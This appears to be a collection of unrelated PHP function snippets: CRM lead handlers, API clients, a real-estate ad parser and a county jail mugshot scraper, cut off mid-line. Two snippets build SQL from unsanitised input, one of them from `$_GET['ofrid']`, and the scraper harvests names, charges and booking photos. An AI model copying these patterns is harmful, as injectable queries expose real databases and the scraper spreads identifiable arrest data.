$query->result();\n\t}", "public function leads()\n {\n $this->load->model('leads_model');\n $data['statuses'] = $this->leads_model->get_status();\n $this->load->view('admin/reports/leads', $data);\n }", "function getPersonDetails($id)\r\n\t{\r\n\t\t//build the api request using the key [global variable] and json format, and postcode \r\n\t\tglobal $They_Vote_Key;\r\n\r\n\t\t$url = \t\"https://theyvoteforyou.org.au/api/v1/people/\".$id.\".json\";\r\n\r\n\t\t$data = array('key'=> $They_Vote_Key);\r\n\t\t$GETurl = sprintf(\"%s?%s\", $url, http_build_query($data));\r\n\t\r\n\t\t//translate fullBio into a usable form\r\n\t\t$fullDetails = json_decode(file_get_contents($GETurl));\r\n\t\t\r\n\t\tif(isset($fullDetails->error))\r\n\t\t{\r\n\t\t\treturn null;\r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\treturn $fullDetails;\t\r\n\t}", "function collectDetails() {\n if (! $_SESSION[\"eligible\"]) {\n return $this->showStart();\n }\n if (isset($_REQUEST['details_submitted'])) {\n \n /* these attributes are a subset of the db \n * entity 'participant' field names */\n $participant_attributes = array(\n\t\t\t \"first_name\",\n\t\t\t \"last_name\"\n\t\t\t );\n $participant_details = array();\n $participant_contact_details = array();\n\n /* these attributes match the database entity \n * 'participant_contact' field names */\n $contact_attributes = array(\n\t\t\t \"participant_id\",\n\t\t\t \"email\",\n\t\t\t \"alternate_email\",\n\t\t\t \"street_address1\",\n\t\t\t \"street_address2\",\n\t\t\t \"city\",\n\t\t\t \"state\",\n\t\t\t \"postcode\"\n\t\t\t );\n foreach($_REQUEST as $name=>$value) {\n\tif (in_array($name, $participant_attributes)){\n\t $participant_details[$name] = $value;\n\t}\n\telse if (in_array($name, $contact_attributes)){\n\t $participant_contact_details[$name] = $value;\n\t}\n }\n if ($this->isEmailDuplicate($participant_contact_details[\"email\"])) {\n\treturn $this->failToRegister();\n }\n // add the enrolment date to the participant details\n $mysqldatetime = date( 'Y-m-d H:i:s', time());\n $participant_details['enrolled'] = $mysqldatetime;\n // add new participant\n $participant_id = $this->addThing('participant', $participant_details);\n $participant_contact_details['participant_id'] = $participant_id;\n /* add new participant_contact \n * (no id to harvest for dependent entity)\n */\n $this->addThing('participant_contact', $participant_contact_details);\n $_REQUEST[\"participant_id\"] = $participant_id;\n $_REQUEST[\"mode\"] = 'consent';\n return $this->collectConsent();\n }\n $output = $this->outputBoilerplate('details.html');\n return $output;\n }", "function info_ad($id, $endpoint) {\n\n\techo \"getting info by ad id: \" . $id . \"\\r\\n\";\n\n\ttry {\n\n\t\t$page = json_decode(file_get_contents(sprintf($endpoint, $id) ), true);\n\n\t\tif (isset($page['errors'])) {\n\t\t\t//Возможно снято с публикации. Но скорее всего нет.\n\t\t\tadd_logs(\"get error with page: {$id}. body: $page\");\n\t\t\treturn null;\n\t\t}\n\t\telse {\n\t\t\t//Можно парсить аттрибуты\n\t\t\tif ($page['offer']['status'] != \"published\") {\n\t\t\t\t//Снято с публикации\n\t\t\t\tadd_logs(\"ad {$id} has been changed status.New status: {$page['offer']['status']}\");\n\t\t\t\treturn null;\n\t\t\t}\n\n\n\t\t}\n\n\t\t$attributes = [\n\n\t\t\t/* parsing only first time */\n\t\t\t\"constant\" => [\n\t\t\t\t'id' => $id,\n\t\t\t\t'description' => implode(' ', $page['offer']['description']), //строка\n\t\t\t\t'address' => get_adress($page['offer']['geo']['address']), //строка\n\t\t\t\t\n\n\t\t\t\t/* This attributes list can be not exist */\n\t\t\t\t'complex_name' => isset($page['offer']['building']['features']['name']) ? $page['offer']['building']['features']['name'] : null, //название ЖК строка\n\t\t\t\t'repair' => isset($page['offer']['general']['repair']) ? $page['offer']['general']['repair'] : null, //ремонт строка\n\t\t\t\t'balconies' => isset($page['offer']['general']['balconies']) ? $page['offer']['general']['balconies'] : null, //балкон строка\n\t\t\t\t'restroom' => isset($page['offer']['general']['restroom']) ? $page['offer']['general']['restroom'] : null, //Санузел строка\n\t\t\t\t'ceiling_height' => isset($page['offer']['general']['ceilingHeight']) ? $page['offer']['general']['ceilingHeight'] : null, //число дробное\n\t\t\t\t/* This attributes list can be not exist */\t\n\t\t\t\t\n\t\t\t\t'floor' => $page['offer']['features']['floorInfo'], //Пока храним как строку\n\t\t\t\t'objectType' => $page['offer']['features']['objectType'], //Однокмнатная двукомнатная и тд\n\t\t\t\t\n\t\t\t\t'ad_published' => get_date($page['offer']['meta']['addedAt']), //Храним как строку\n\t\t\t\t'total_area' => explode(' ', $page['offer']['features']['totalArea'])[0], //число\n\t\t\t\t'photos' => $page['offer']['media']\n\t\t\t],\n\t\t\t\"variable\" => [\n\t\t\t\t'price_actual' => $page['offer']['price']['value'], //число\n\t\t\t\t'price_start' => $page['offer']['price']['value'], //число\n\t\t\t\t'square_meter_price' => only_digit($page['offer']['additionalPrice']), //строка.\n\t\t\t\t'phones' => implode(', ', $page['offer']['phones']), //строка\n\t\t\t\t'views_all' => $page['offer']['meta']['views'], //число\n\t\t\t\t'ad_remove' => \"null\"\n\t\t\t\t//'ad_type' => -1, //будет строка платное, премиум, топ\t.while not using\n\t\t\t]\n\t\t\t\n\t\t\t\n\t\t\t\t\t\n\t\t];\n\n\t\t$attributes['constant']['description'] = preg_replace('/[\"\\']/m', '', $attributes['constant']['description']);\n\t\t$attributes['variable']['phones'] = preg_replace('/[+][7]/m', '', $attributes['variable']['phones']); //replace +\n\t\t\n\t\t$attributes['constant']['total_area'] = preg_replace('/[?\\sм²]+/m', '', $attributes['constant']['total_area']); //replace m2\n\t\t$attributes['constant']['total_area'] = trim($attributes['constant']['total_area']);\n\n\t\t//if exist history. set start price and date publish from history\n\t\tif (isset($page['priceChange']))\n\t\t\tif (count($page['priceChange']) > 0) {\n\t\t\t\t//cnage price and date publicaiton\n\t\t\t\t$attributes['constant']['ad_published'] = $page['priceChange'][0]['date'];\n\t\t\t\t$attributes['variable']['price_start'] = $page['priceChange'][0]['price'];\n\t\t\t}\n\n\t\tif ($page['offer']['price']['currency'] != \"rur\") {\n\t\t\t//change all prices\n\n\t\t\t$attributes['variable']['price_start'] = only_digit($page['offer']['rublesPrice']);\n\t\t\t$attributes['variable']['price_actual'] = only_digit($page['offer']['rublesPrice']);\n\n\t\t\t$attributes['variable']['square_meter_price'] = intdiv($attributes['variable']['price_actual'],$attributes['constant']['total_area']); //recalc square_meter_price\n\n\t\t}\n\n\n\n\t\t$attributes['constant']['street'] = get_address_data($attributes['constant']['address'])['street'];\n\t\t$attributes['constant']['house'] = get_address_data($attributes['constant']['address'])['house'];\n\n\n\t\tif (isset($page['offer']['houseInfo']['info']['buildYear'])) {\n\t\t\t$attributes['constant']['building_year'] = \"построен: \" . $page['offer']['houseInfo']['info']['buildYear'];\n\t\t}\n\t\telse if (isset($page['offer']['building']['features']['deadline'])) {\n\t\t\t$attributes['constant']['building_year'] = \"срок сдачи: \" . $page['offer']['building']['features']['deadline'];\n\t\t}\n\t\telse {\n\t\t\t$attributes['constant']['building_year'] = 'нет данных';\n\t\t}\n\n\t\t//Где тот тут проверить опубликовано ли\n\t}\n\tcatch (Exception $e) {\n\t\tadd_logs(\"error: \" . $e->getMessage());\n\t\tadd_logs(\"body json (page): \" . json_encode($page));\n\t\tadd_logs(\"ad id :\" . $id);\n\t}\n\n\treturn $attributes;\n\n}", "public function getDetails() {\n return $this->_get( 'details', array() );\n }", "function getLeadStatus($id,$lead_type)\n {\n $objLeads_submit = ORM::factory('leadsubmit');\n $resultset = $objLeads_submit->select('tbl_client.vUsername')->join('tbl_client','left')->on('tbl_lead_submit.client_id', '=','tbl_client.iClient_id')->where('lead_types','=',$lead_type)->where('lead_id',\"=\",$id)->find_all();\n foreach($resultset as $key=>$value){ \n\t\t$client_name = '<strong>'.$value->vUsername.'</strong>';\n if($value->post_response=='Success')\n echo \"<a class='tag blue' >\".$client_name.\"-$\".$value->price.\"</a>\";\n else\n echo \"<a class='tag red' >\".$client_name.\"</a>\";\n }\n // echo Database::instance()->last_query;\n //return $id;\n }", "private function getAccInfo(){\n try {\n $stmt = $this->dbh->prepare(\"SELECT * FROM `Locations` WHERE P_Id = :id\");\n $stmt->bindParam(\":id\", $this->accId);\n $stmt->execute();\n } catch (Exception $e){\n error_log(\"Error: \" . $e->getMessage());\n }\n\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\n $this->accName = $row[\"AccName\"];\n $this->accStrAdd = $row[\"AccStrAdd\"];\n $this->accAptNum = $row[\"AccAptNum\"];\n $this->accState = $row[\"AccState\"];\n $this->accZip = $row[\"AccZip\"];\n $this->currentUnits = $row[\"AccUnits\"];\n }", "public function getAccountDetails(){\n\t\t$url = \"/account/details/\";\n\t\t$method='get';\n\t\treturn $this->request($url , $method);\n\t}", "public function getLeadId() {\n\t\treturn $this->container['lead_id'];\n\t}", "public function getPersonalInfo(){\r\n\t $this->_personalInfo;\r\n\t}", "public function getInformation();", "public function getCurrentLoanDetails()\n {\n if (!empty($this->current_loan_details)) {\n return $this->current_loan_details;\n }\n \n return false; // something went wrong: shouldn't get here\n }", "public function getDetails()\n {\n\t $detail_field = $this->getValue('details');\n\t return wed_decodeJSON($detail_field,true);\n }", "public function leadData($id)\n {\n $leads = Lead::select(\n ['id', 'title', 'created_at', 'contact_date', 'user_assigned_id', 'client_id', 'status']\n )\n ->where('user_assigned_id', $id);\n return Datatables::of($leads)\n ->addColumn('titlelink', function ($leads) {\n return '<a href=\"' . route('leads.show', $leads->id) . '\">' . $leads->title . '</a>';\n })\n // ->editColumn('created_at', function ($leads) {\n // return $leads->created_at ? with(new Carbon($leads->created_at))\n // ->format('d/m/Y') : '';\n // })\n // ->editColumn('contact_date', function ($leads) {\n // return $leads->created_at ? with(new Carbon($leads->created_at))\n // ->format('d/m/Y') : '';\n // })\n // ->editColumn('status', function ($leads) {\n // return $leads->status == 1 ? '<span class=\"label label-success\">Open</span>' : '<span class=\"label label-danger\">Closed</span>';\n // })\n ->editColumn('client_id', function ($tasks) {\n return $tasks->client->name;\n })\n ->make(true);\n }", "public function fetchDetail(): void\n {\n $request = Certification::$request;\n\n $url = sprintf('%s/projects/%s', Certification::$endpoint, $this->id);\n $payload = $request->get($url)->throw()->json();\n\n $attributes = Arr::get($payload, 'data.attributes');\n\n conmsg(sprintf('Project ID: %s', Arr::get($attributes, 'id')));\n conmsg(sprintf('Project Name: %s', Arr::get($attributes, 'name')));\n conmsg(sprintf('Project Description: %s', Arr::get($attributes, 'description')));\n }", "public function getArrivalDetails()\n {\n return $this->arrivalDetails;\n }", "public function show($id)\n {\n $lead = Lead::find($id);\n\n\n if (is_null($lead)) {\n return $this->sendError('Lead not found.');\n }\n\n\n return $this->sendResponse($lead->toArray(), 'Lead retrieved successfully.');\n }", "private function generateLeadFields()\n {\n // Return all base lead fields.\n return [\n \"cid\" => \"campaign_id\",\n \"pid\" => \"publisher_id\",\n \"first-name\" => \"first_name\",\n \"last-name\" => \"last_name\",\n \"email-address\" => \"email_address\",\n \"ip-address\" => \"ip_address\"\n ];\n }", "function lf_email_util_get_campaign_details( $id ) {\n\n\tglobal $wpdb;\n\n\t$table_campaigns = $wpdb->prefix . 'lf_campaigns';\n\n\t// Set Query\n\t$sql = \"SELECT * FROM $table_campaigns WHERE id = $id\";\n\n\t// Get Results\n\t$results = $wpdb->get_results( $sql, ARRAY_A );\n\n\t// Format Results\n\t$details;\n\tif ( count( $results ) > 0 ) {\n\t\t$details = $results[0];\n\t} // end if\n\n\treturn $details;\n}", "public function getActivityInfo()\n {\n return QcBonusDepartment::where('applyStatus', 1)->where('action', 1)->get();\n }", "public function getDetails()\r\n {\r\n return $this->details;\r\n }", "public function getDetails()\n {\n return $this->details;\n }", "public function getDetails()\n {\n return $this->details;\n }", "public function getDetails()\n {\n return $this->details;\n }", "function getDetails() {\n\t\treturn $this->data_array['details'];\n\t}", "public function getLeads()\n {\n $result = array();\n foreach ($this->findNodes('/p:package/p:lead') as $lead) {\n $result[] = array(\n 'name' => $this->getNodeTextRelativeTo('./p:name', $lead),\n 'user' => $this->getNodeTextRelativeTo('./p:user', $lead),\n 'email' => $this->getNodeTextRelativeTo('./p:email', $lead),\n 'active' => $this->getNodeTextRelativeTo('./p:active', $lead),\n );\n }\n return $result;\n }", "public function get_adv_remarks($id){\n\t\t// get remarks\n\t\t$this->FinAdvApprove->unBindModel(array('belongsTo' => array('Home')));\n\t\t$this->FinAdvApprove->FinAdvStatus->bindModel(\n\t\t\tarray('belongsTo' => array(\n\t\t\t\t\t'HrEmployee' => array(\n\t\t\t\t\t\t'className' => 'HrEmployee',\n\t\t\t\t\t\t'foreignKey' => 'app_users_id'\n\t\t\t\t\t\t\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t)\n\t\t);\n\t\t$remarks = $this->FinAdvApprove->FinAdvStatus->find('all', array('fields' => array('HrEmployee.first_name','HrEmployee.last_name', \n\t\t'modified_date','remarks', 'HrEmployee.photo_status', 'HrEmployee.photo'), 'conditions' => array('fin_advance_id' => $id),\n\t\t'group' => array('FinAdvStatus.id'), 'order' => array('FinAdvStatus.id' => 'desc'))); \n\t\t\n\t\t$this->set('lead_remarks', $remarks);\n\t}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public static function getDealInfo($deal_id=0) {\n\t\t$info = [\n\t\t\t'deal' => [],\n\t\t\t'fields' => [],\n\t\t\t'stages' => [],\n\t\t\t'contact' => [],\n\t\t\t'company' => [],\n\t\t\t'products' => [],\n\t\t\t'product_fields' => [],\n\t\t\t'assigned_user' => [],\n\t\t];\n\t\t$request = [];\n\t\tif ($deal_id) {\n\t\t\t$request['deal'] = [\n\t\t\t\t'method' => 'crm.deal.get',\n\t\t\t\t'params' => ['id' => $deal_id]\n\t\t\t];\n\t\t\t$request['contact'] = [\n\t\t\t\t'method' => 'crm.contact.get',\n\t\t\t\t'params' => [\n\t\t\t\t\t'id' => '$result[deal][CONTACT_ID]',\n\t\t\t\t]\n\t\t\t];\n\t\t\t$request['assigned_user'] = [\n\t\t\t\t'method' => 'user.get',\n\t\t\t\t'params' => [\n\t\t\t\t\t'id' => '$result[deal][ASSIGNED_BY_ID]',\n\t\t\t\t]\n\t\t\t];\n\t\t\t$request['products'] = [\n\t\t\t\t'method' => 'crm.deal.productrows.get',\n\t\t\t\t'params' => [\n\t\t\t\t\t'id' => $deal_id,\n\t\t\t\t]\n\t\t\t];\n\t\t}\n\t\t$request['fields'] = [\n\t\t\t'method' => 'crm.deal.fields',\n\t\t];\n\t\t$dealcateg_id = (int)self::$profile['CONNECT_DATA']['category'];\n\t\tif (!$dealcateg_id) {\n\t\t\t$request['stages'] = [\n\t\t\t\t'method' => 'crm.status.list',\n\t\t\t\t'params' => [\n\t\t\t\t\t'order' => ['SORT' => 'ASC'],\n\t\t\t\t\t'filter' => [\n\t\t\t\t\t\t'ENTITY_ID' => 'DEAL_STAGE',\n\t\t\t\t\t]\n\t\t\t\t]\n\t\t\t];\n\t\t}\n\t\telse {\n\t\t\t$request['stages'] = [\n\t\t\t\t'method' => 'crm.dealcategory.stage.list',\n\t\t\t\t'params' => [\n\t\t\t\t\t'id' => $dealcateg_id,\n\t\t\t\t]\n\t\t\t];\n\t\t}\n\t\t$request['product_fields'] = [\n\t\t\t'method' => 'crm.product.fields',\n\t\t];\n\t\t$info = array_merge($info, Rest::batch($request));\n\t\tif (!empty($info['assigned_user'])) {\n\t\t\t$info['assigned_user'] = $info['assigned_user'][0];\n\t\t}\n\t\treturn $info;\n\t}", "public function show($id)\n {\n $leads_show = Tbl_leads::with(\n 'users',\n 'tbl_accounts',\n 'tbl_leadsource',\n 'tbl_leadstatus',\n 'tbl_industrytypes',\n 'tbl_leadsource',\n 'tbl_leadstatus',\n 'tbl_industrytypes',\n 'tbl_countries',\n 'tbl_states')\n ->where('uid','=',auth()->user()->id)\n ->findOrFail($id);\n\n return new LeadResource($leads_show);\n }", "public function readJourney(){\n $journeys = DB::table('journey')\n ->join('employee.employee as db2', 'journey.applicant_id', '=', 'db2.r_id')\n ->join('journey_status', 'journey.journey_status_id', '=', 'journey_status.id')\n ->select('journey.*','journey_status.name as status', 'db2.emp_title', 'db2.emp_firstname', 'db2.emp_surname')\n ->get();\n \n return response($journeys);\n }", "public function readExternalCompleted(){\n $journeys = DB::table('journey')\n ->join('employee.employee as db2', 'journey.applicant_id', '=', 'db2.r_id')\n ->join('journey_status', 'journey.journey_status_id', '=', 'journey_status.id')\n ->select('journey.*','journey_status.name as status', 'db2.emp_title', 'db2.emp_firstname', 'db2.emp_surname')\n ->where('vehical_id','=',NULL)->where('journey_status_id','=','6')\n ->get();\n \n return response($journeys);\n }", "function getInfo()\n\t{\n\t\treturn array_merge($this->getDeveloperInfo(), $this->getContact()->getInfo());\n\t}", "public function fieldValues()\n {\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, \"https://crm.zoho.com/crm/private/xml/Leads/getSearchRecordsByPDC?authtoken=\". config('app.ZOHO_KEY') .\"&scope=crmapi\");\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_TIMEOUT, '50');\n\n $content = curl_exec($ch);\n return $content;\n curl_close($ch);\n }", "protected function getCompleteFieldInformation() {}", "protected function loadLoop(Backend_Lead $lead)\n {\n $loop = [];\n $basic_info = $this->dotloop_api->getLocalLoopInfo($this->auth->info('partners.dotloop.account_id'), $_GET['loop'], $lead->info('email'));\n if (!empty($basic_info)) {\n // Basic Loop Info Loaded from Local DB Record\n $loop['basic_info'] = $basic_info;\n\n // Get Participants from Local DB Records\n $loop['participants'] = $this->dotloop_api->getLocalLoopParticipants($this->auth->info('partners.dotloop.account_id'), $_GET['loop']);\n\n // Request + Cache the Advanced Loop Details\n $index = hash('sha256', $this->auth->info('partners.dotloop.account_id') . $loop['basic_info']['dotloop_profile_id'] . $loop['basic_info']['dotloop_loop_id'] . 'loop_details');\n $cached = $this->cache->getCache($index);\n if (!is_null($cached)) {\n $loop['details'] = $cached;\n } else {\n $loop['details'] = $this->dotloop_api->getLoopDetails($loop['basic_info']['dotloop_profile_id'], $loop['basic_info']['dotloop_loop_id']);\n // Cache for 15 mins. Just want to avoid multiple API calls for page refreshes, etc...\n if (!empty($loop['details'])) {\n $this->cache->setCache($index, $loop['details'], false, (60 * 15));\n }\n }\n unset($index, $cached);\n\n /**\n * @TODO - Task lists aren't worth displaying until we can expand on them (list tasks, task details)\n * First will need to store task data locally - otherwise it will be too taxing on our API rate limit\n */\n// $loop['task_lists'] = $dotloopApi->getLoopTaskLists($loop['basic_info']['dotloop_profile_id'], $loop['basic_info']['dotloop_loop_id']);\n\n // Request + Cache the Loop Activity History\n $index = hash('sha256', $this->auth->info('partners.dotloop.account_id') . $loop['basic_info']['dotloop_profile_id'] . $loop['basic_info']['dotloop_loop_id'] . 'loop_activities');\n $cached = $this->cache->getCache($index);\n if (!is_null($cached)) {\n $loop['activities'] = $cached;\n } else {\n $loop['activities'] = $this->dotloop_api->getLoopActivities($loop['basic_info']['dotloop_profile_id'], $loop['basic_info']['dotloop_loop_id']);\n // Cache for 15 mins. Just want to avoid multiple API calls for page refreshes, etc...\n if (!empty($loop['activities'])) {\n $this->cache->setCache($index, $loop['activities'], false, (60 * 15));\n }\n }\n unset($index, $cached);\n }\n return $loop ?: [];\n }", "public function getPageDetails()\n {\n global $mysqli,$_GET;\n\n $offer_query = $mysqli->query(\"SELECT OFR.title, OFR.type, OFR.hotel_id, HTL.title AS hotelname FROM offers OFR INNER JOIN hotels HTL ON HTL.id=OFR.hotel_id WHERE OFR.id=\".$_GET[\"ofrid\"]);\n $result = $offer_query->fetch_object();\n\n $type=($result->type!='')? ' <small>(type - '.$result->type.')</small>':'';\n\n $title = $result->title. $type . ' <small>in '.$result->hotelname.'</small>';\n\n //inputs to add modal on page load\n $statuses = $this->getDateStatusOptions();\n $arrivals = $this->getArrivalOptions();\n $room_inputs = $this->getRoomInputs($result->hotel_id);\n\n\n return [\"title\"=>$title,\"hid\"=>$result->hotel_id,\"status_opt\"=>$statuses,\"arrival_opt\"=>$arrivals,'room_inputs'=>$room_inputs];\n }", "public function getDetails()\n\t{\n\t\treturn $this->details;\n\t}", "function get_blog_details($fields = \\null, $get_all = \\true)\n {\n }", "function getGetDetails() {\n return $this->getDetails;\n }", "public function getLead($id)\n {\n $client = new Client();\n\n $request = $client->get(\n $this->api_base_url . 'api.php/' . self::API_VERSION .\n \"/{$this->client_token}\" .\n self::API_PATH . $id)\n ;\n $response = $request->send();\n if ($response->getStatusCode() === 200)\n {\n $result = json_decode($response->getBody(true), true);\n if (is_array($result) && isset($result['lead']))\n {\n return new Lead($result['lead']);\n }\n }\n if ($response->getStatusCode() === 404)\n {\n return null;\n }\n throw new \\Exception('Unexpected response - ' . $response->getStatusCode() . ' - ' . $response->getBody(true));\n }", "public function lead_log_list($lead_id)\n {\n $result = common_select_values('lg.*, (select name from users where user_id = lg.created_by) as log_created_by', 'lead_history_log lg', ' lg.lead_id = \"'.$lead_id.'\"', 'result');\n return $result; \n }", "public function getPersonal();", "public function getDetails() {\n\t\treturn $this->details;\n\t}", "public function getLeadFromId($id)\n {\n $lead = Backend_Lead::load($id);\n return $lead;\n }", "public function index(Request $request){\n\n $query = Lead::with('address','b2b')->where('is_active', 1);\n\n if($request->name){\n $query->where('name','like','%'.$request->name.'%');\n }\n\n if($request->email){\n $query->where('email','like','%'.$request->email.'%');\n }\n\n if($request->mobile_no){\n $query->where('mobile_no',$request->mobile_no);\n }\n\n if(isset($request->status)){\n $query->where('leads_status',$request->status);\n } \n\n if(isset($request->source)){\n $query->where('source',$request->source);\n } \n \n $query->orderBy('id', 'DESC');\n\n $leads = $query->paginate($this->records_per_page);\n\n return $this->sendResponse($leads, 'Lead(s) retrieved successfully.');\n }", "public function getInfo();", "public function getStandBookingDetails()\n {\n try {\n $standDetails = $this->with('company')\n ->toArray();\n return $standDetails;\n } catch (\\Exception $e) {\n return $e->getMessage();\n }\n }", "public function info()\n {\n return $this->hasOne( 'ADKGamers\\\\Webadmin\\\\Models\\\\Battlefield\\\\Record', 'record_id', 'latest_record_id' );\n }", "private function get_consultant_info() {\n try {\n /** @noinspection PhpUndefinedMethodInspection */\n $stm=$this->uFunc->pdo(\"uAuth\")->prepare(\"SELECT\n firstname,\n secondname,\n email\n FROM\n u235_users\n JOIN \n u235_usersinfo\n ON\n u235_users.user_id=u235_usersinfo.user_id AND\n u235_usersinfo.status=u235_users.status\n WHERE\n u235_users.user_id=:user_id AND\n u235_users.status='active' AND\n u235_usersinfo.site_id=:site_id\n \");\n $site_id=site_id;\n /** @noinspection PhpUndefinedMethodInspection */$stm->bindParam(':site_id', $site_id,PDO::PARAM_INT);\n /** @noinspection PhpUndefinedMethodInspection */$stm->bindParam(':user_id', $this->cons_id,PDO::PARAM_INT);\n /** @noinspection PhpUndefinedMethodInspection */$stm->execute();\n }\n catch(PDOException $e) {$this->uFunc->error('90'/*.$e->getMessage()*/);}\n\n return $stm;\n }", "public function get_contact(){\n $this->relative = array_shift(Relative::find_all(\" WHERE dead_no = '{$this->id}' LIMIT 1\"));\n if ($this->relative) {\n return $this->relative->contact();\n } else {\n return \"Not Specified\";\n }\n }", "function get_detail() {\n return $this->detail;\n }", "function lead()\n {\n return $this->belongsTo('App\\Lead');\n }", "public function getInfo() {}", "public function getInfo() {}", "function extraction($details, $booking_id)\n\t{\n\t\t$county = 'seminole';\n\t\t$booking_id = 'seminole_' . $booking_id;\n\t\t# database validation \n\t\t$offender = Mango::factory('offender', array(\n\t\t\t'booking_id' => $booking_id\n\t\t))->load();\t\n\t\t# validate against the database\n\t\tif (empty($offender->booking_id)) \n\t\t{\n\t\t\t# extract profile details\n\t\t\t# required fields\n\t\t\t\n\t\t\t$check = preg_match('/FirstNameLabel[^>]*>(.*)</Uis', $details, $match);\n\t\t\tif ($check)\n\t\t\t{\n\t\t\t\t$firstname = '';\n\t\t\t\t$firstname = strtoupper(trim($match[1]));\n\t\t\t\t$check = preg_match('/LastNameLabel[^>]*>(.*)</Uis', $details, $match);\n\t\t\t\tif ($check)\n\t\t\t\t{\n\t\t\t\t\t$lastname = '';\n\t\t\t\t\t$lastname = strtoupper(trim($match[1]));\n\t\t\t\t\t//ArrestDate\">03/11/2011 12:46:00 AM</span>\n\t\t\t\t\t$check = preg_match('/ArrestDate\\\">(.*)<\\//Uis', $details, $match);\n\t\t\t\t\tif ($check)\n\t\t\t\t\t{\n\t\t\t\t\t\t$booking_date = strtotime($match[1]);\n\t\t\t\t\t\t\n\t\t\t\t\t\t#get extra fields\n\t\t\t\t\t\t$extra_fields = array();\n\t\t\t\t\t\t$dob = null;\n\t\t\t\t\t\t//DOBLabel\">10/13/1961</span>\n\t\t\t\t\t\t$check = preg_match('/DOBLabel[^>]*>(.*)</Uis', $details, $match);\n\t\t\t\t\t\tif ($check) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$dob = strtotime(trim($match[1]));\n\t\t\t\t\t\t\t$extra_fields['dob'] = $dob; \n\t\t\t\t\t\t}\n\t\t\t\t\t\t$check = preg_match('/divCharges\\\"\\>\\<table\\scellpadding\\=\\'0\\'\\scellspacing\\=\\'0\\'\\sstyle\\=\\'width\\:100\\%\\'\\>(.*)table\\>/Uis', $details, $match);\n\t\t\t\t\t\t$check = preg_match_all('/\\<td\\>(.*)\\<\\/td>/Uis', $match[1], $matches);\n\t\t\t\t\t\tif (isset($matches[1]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach ($matches[1] as $charge)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ($charge != '&nbsp;')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$charges[] = trim(strtoupper($charge));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!empty($charges))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t###\n\t\t\t\t\t\t\t\t# this creates a charges object for all charges that are not new for this county\n\t\t\t\t\t\t\t\t$charges_object = Mango::factory('charge', array('county' => $this->scrape, 'new' => 0))->load(false)->as_array(false);\n\t\t\t\t\t\t\t\t# I can loop through and pull out individual arrays as needed:\n\t\n\t\t\t\t\t\t\t\tforeach($charges_object as $row)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$list[$row['charge']] = $row['abbr'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t# this gives me a list array with key == fullname, value == abbreviated\n\t\t\t\t\t\t\t\t$ncharges = array();\n\t\t\t\t\t\t\t\t# Run my full_charges_array through the charges check\n\t\t\t\t\t\t\t\t$ncharges = $this->charges_check($charges, $list);\n\t\t\t\t\t\t\t\t###\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t# validate \n\t\t\t\t\t\t\t\tif (empty($ncharges)) // skip the offender if ANY new charges were found\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$fcharges \t= array();\n\t\t\t\t\t\t\t\t\tforeach($charges as $key => $value)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$fcharges[] = trim(strtoupper($value));\t\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t# make it unique and reset keys\n\t\t\t\t\t\t\t\t\t$fcharges = array_unique($fcharges);\n\t\t\t\t\t\t\t\t\t$fcharges = array_merge($fcharges);\n\t\t\t\t\t\t\t\t\t$dbcharges = $fcharges;\n\t\t\t\t\t\t\t\t\t# begin image extraction\n\t\t\t\t\t\t\t\t\t//http://webbond.seminolesheriff.org/bookingphotos/201100003098.jpg\n\t\t\t\t\t\t\t\t\t$image_link = 'http://webbond.seminolesheriff.org/bookingphotos/'. preg_replace('/seminole\\_/Uis', '', $booking_id) .'.jpg';\n\t\t\t\t\t\t\t\t\t# set image name\n\t\t\t\t\t\t\t\t\t$imagename = date('(m-d-Y)', $booking_date) . '_' . $lastname . '_' . $firstname . '_' . $booking_id;\n\t\t\t\t\t\t\t\t\t# set image path\n\t\t\t\t\t\t\t $imagepath = '/mugs/florida/seminole/'.date('Y', $booking_date).'/week_'.$this->find_week($booking_date).'/';\n\t\t\t\t\t\t\t # create mugpath\n\t\t\t\t\t\t\t $mugpath = $this->set_mugpath($imagepath);\n\t\t\t\t\t\t\t\t\t//@todo find a way to identify extension before setting ->imageSource\n\t\t\t\t\t\t\t\t\t$this->imageSource = $image_link;\n\t\t\t\t\t\t\t $this->save_to = $imagepath.$imagename;\n\t\t\t\t\t\t\t $this->set_extension = true;\n\t\t\t\t\t\t\t\t\t$this->cookie\t\t\t= $this->cookies;\n\t\t\t\t\t\t\t $this->download('curl');\n\t\t\t\t\t\t\t\t\tif (file_exists($this->save_to . '.jpg')) //validate the image was downloaded\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t#@TODO make validation for a placeholder here probably\n\t\t\t\t\t\t\t\t\t\t# ok I got the image now I need to do my conversions\n\t\t\t\t\t\t\t\t # convert image to png.\n\t\t\t\t\t\t\t\t $this->convertImage($mugpath.$imagename.'.jpg');\n\t\t\t\t\t\t\t\t $imgpath = $mugpath.$imagename.'.png';\n\t\t\t\t\t\t\t\t\t\t$img = Image::factory($imgpath);\n\t\t\t\t\t \t//$img->crop(225, 280)->save();\n\t\t\t\t\t\t\t\t $imgpath = $mugpath.$imagename.'.png';\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tif(strlen($fcharges[0]) >= 